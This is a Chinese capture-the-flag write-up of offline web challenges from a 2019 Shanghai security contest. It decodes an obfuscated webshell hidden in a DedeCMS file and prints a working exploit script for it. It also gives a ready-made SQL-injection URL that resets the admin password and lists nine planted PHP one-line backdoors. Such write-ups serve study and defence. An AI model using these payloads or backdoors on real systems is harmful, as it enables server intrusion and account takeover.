前言
队友去参加了2019神盾杯上海市网络安全竞赛，线下有4道web题，就跟队友要来了源码进行了一波分析，由于题目较多，分为2篇撰写，本篇先写dedecms和另一个出题人手写的cms。
web1
预置简单后门查杀
打开源码发现是dedecms，使用主流webshell查杀工具得到如下结果：
由于静态分析具有较高的误报率，所以我先选择了diff一下：
发现后门文件为include/guess.class.php，事实证明还是D盾nb~
内置混淆后门
我们先去查看文件：include/guess.class.php
发现明显后门：1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$p='$s[$i].=$p;$eW=WstrWpos($s[$i],$f);Wif($We){W$k=W$kh.W$kf;ob_start();@WeWWval(@gzW';
$R='W$kWh="3aae";$kf="W0208WW";fWunctioWn x($t,W$k){$c=strlen($k);$Wl=strlWen($Wt);W$o=W';
$n='","+"W),$ss($sW[$i],0,$We))),$kW)));$Wo=obW_get_contWents();obW_endW_cWleanW();$d';
$W='"";for($i=0;$i<$lW;){for(W$j=0W;($j<$Wc&&$iW<W$l);$jW++,$i++){W$o.=$t{$Wi}^$k{W$';
$G='werW";$i=$Wm[1][0].$m[1W][1];$hW=$slW($Wss(md5($iW.$kh),W0,3))WW;$f=$sl(W$ss(md5(';
$N='uncompressW(@x(@bWase64WW_decode(preg_rWeplace(arraWy("/W_/WW","/W-/"),array("W/';
$I='$iWW.$kf),0,3W)WW);$p="W";for(W$z=1;$z<coWunt($m[1]);$z++)W$pW.=$qW[$m[2][$Wz]];if(str';
$k=str_replace('ZA','','creZAaZAte_ZAfuZAZAncZAtion');
$F='j};}}Wreturn W$o;}$r=$W_SWERWVER;W$rr=@$rWW["HTTP_REFEWRERW"];$ra=@$r["HTTWP_ACCEPWT';
$a='_WLANWGUAGEW"];if($rr&&$raWW)W{$uW=parse_urWlW($rrW);parse_str($u["quWery"],$qWW);';
$s='$q=array_valuesW($q);prWeg_matWWchW_aWll("W/([\\wW])[\\w-]+(?:;q=0.([\\dW]))?,W?W/",W$ra,';
$A='=baWse6W4_encode(x(gWzcompresWs(W$o),$k));pWrWint("<$k>W$d</W$k>")W;@sessionW_destrWoy();}}}}';
$Y='pWWosW($p,$h)===0)W{$s[$i]="";W$pW=$ss(W$p,3);W}if(arrayW_key_exWists(W$i,$s))W{W';
$t='$m);if($q&W&W$m){@sessioWn_stWart();W$s=W&$_SESSIOWN;$ss="substrW";W$sl="stWrtoloW';
$X=str_replace('W','',$R.$W.$F.$a.$s.$t.$G.$I.$Y.$p.$N.$n.$A);
$w=$k('',$X);$w();
定位到最后一句:1
$w=$k('',$X);$w();
发现$k为create_function，那么$X的值就至关重要，我们可以得到其值为：1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
$kh="3aae";
$kf="0208";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m){
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0){
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)){
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e){
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
看到恶意代码位置:1
2
3
4
5
6
7
8
9
10if($e){
$k='3aae0208';
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
关键参数为$e和$s，我们跟踪这两个值，发现e为$s[$i]中$f的位置：1
$e=strpos($s[$i],$f);
而$s[$i]与$p有关,我们继续跟进$p,$s,$i的赋值：1
for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]];
容易发现$p的值与$m有关。而$i与$m也与$m有关：1
2$s=&$_SESSION;
$i=$m[1][0].$m[1][1];
那么$m与HTTP_ACCEPT_LANGUAGE和如下正则有关：1
2
3$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
....
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
简单测试：
发现m[2]的值由q=0.几控制，而m[1]与每组首写字母有关。
回到如下拼接：1
for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]];
剩下只要控制$q的值即可：1
2
3
4
5$rr=@$r["HTTP_REFERER"];
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
我们注意到$q与HTTP_REFERER的参数有关，我们测试一下：
那么我们可以通过控制数组p的值，和数组$m的值，来控制$p的值，例如：1
2
3
4// $rr=@$r["HTTP_REFERER"];
$rr = "https://skysec.top/?exp=skycool";
// $ra=@$r["HTTP_ACCEPT_LANGUAGE"];
$ra = "zh-CN,zh;q=0.0,en;q=0.1";
那么此时p的值为skycool。
紧接着是过滤：1
2
3
4if(strpos($p,$h)===0){
$s[$i]="";
$p=substr($p,3);
}
那么我们跟踪$h，发现为salt：1
2$i=$m[1][0].$m[1][1];
$h=strtolower(substr(md5($i.$kh),0,3));
所以我们很容易预测$h的值，只需要在我们的exp前拼接上$h的值即可。
那么现在只剩最后的exp，回到最开始的核心代码：1
2
3$s[$i].=$p;
$e=strpos($s[$i],$f);
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k)));
那么可以通过$p控制$s[$i]的值，同时为了完全截取，我们可以类似如下构造exp：1
$exp = $h.$payload.$f；
这样即可完全截取到我们的$payload。
然后是加密函数x：1
2
3
4
5
6
7
8
9
10
11function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
容易发现这是xor加密，可以用来加密也可用来解密，直接用即可。
那么编写exp如下：1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
// $ra=@$r["HTTP_ACCEPT_LANGUAGE"];
$ra = "zh-CN,zh;q=0.0,en;q=0.1";
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
$i=$m[1][0].$m[1][1];
$kh="3aae";
$kf="0208";
$k=$kh.$kf;
$h=strtolower(substr(md5($i.$kh),0,3));
$f=strtolower(substr(md5($i.$kf),0,3));
$exp = 'phpinfo();';
$exp = @base64_encode(@x(@gzcompress($exp),$k));
$exp = $h.$exp.$f;
// // $rr=@$r["HTTP_REFERER"];
$rr = "https://skysec.top/?sky=".$exp;
var_dump($rr);
例如执行phpinfo()：1
2
3
4// $ra=@$r["HTTP_ACCEPT_LANGUAGE"];
$ra = "zh-CN,zh;q=0.0,en;q=0.1";
// // $rr=@$r["HTTP_REFERER"];
$rr = "https://skysec.top/?sky=99eS/1KrRj6/HP4trHRNjIl/DDg328"
可以成功执行。
sql注入
通过diff可以发现代码注释了一段内容：
但这实际没有作用，是用来去除Power by dedecms的。但是另一处修改直接导致了sql注入：
我们查看相关文章：
https://seo.linyufan.com/thread-56-1-1.html
http://www.hackdig.com/?06/hack-4026.htm
发现是可以更改管理员密码的。1
https://skysec/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
其他文件
发现新文件test.php，内容与common.inc.php相互对应：
综合来说即：1
2
3
session_set_save_handler();
session_start();
但好像不能利用，有高见的师傅可以和我私聊。
总结
dedecms作为一款被挖爆了的cms，肯定还有自带的原生漏洞，我这里就不做分析了，只把diff出来的内容写出来。
web2
web2像是个自己手写的cms，还是一样的思路，现有主流静态分析软件跑一波明显后门：
这道题应该属于送分题，全是后门：
预置后门1：index.php1
2
3
4
include 'header.php';
@eval($_REQUEST['aa']);
预置后门2：footer.php1
2
3
4
5
6
7
$shell=$_POST['shell'];
system($shell);
if($shell !=""){
exit();
}
预置后门3：contact.php1
2
3
4
5
6
7
8
9
include 'header.php';
$file_path = $_GET['path'];
if(file_exists($file_path)){
$fp = fopen($file_path,"r");
$str = fread($fp,filesize($file_path));
echo $str = str_replace("\r\n","<br />",$str);
}
预置后门4：config.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//链接数据库
$host = 'localhost';
$username = 'root';
$password = 'root';
$database = 'test';
$dbc = mysqli_connect($host, $username, $password, $database);
if (!$dbc)
{
die('Could not connect: ' . mysql_error());
}
//启用session
session_start();
//根目录
$basedir = '';
@eval($_REQUEST['c']);
预置后门5：about.php1
2
3
4
$file=$_GET['file'];
include $file;
预置后门6：a.php1
2
3 @eval($_REQUEST['c']);
var_dump($_SERVER);
预置后门7：.a.php1
2 @eval($_REQUEST['c']);
预置后门8：admin/footer.php1
2
3
4
5
6
7
$shell=$_POST['shell'];
system($shell);
if($shell !=""){
exit();
}
预置后门9：admin/header.php1
2
3
4
5
6
$p=$_GET['p'];
echo $p;
$q=exec($p);
var_dump($q);
以及一个很裸的文件上传
所以基本无需分析，都是非常明显的一句话木马了。
1 | 文章首发于嘶吼 https://www.4hou.com/web/19038.html |
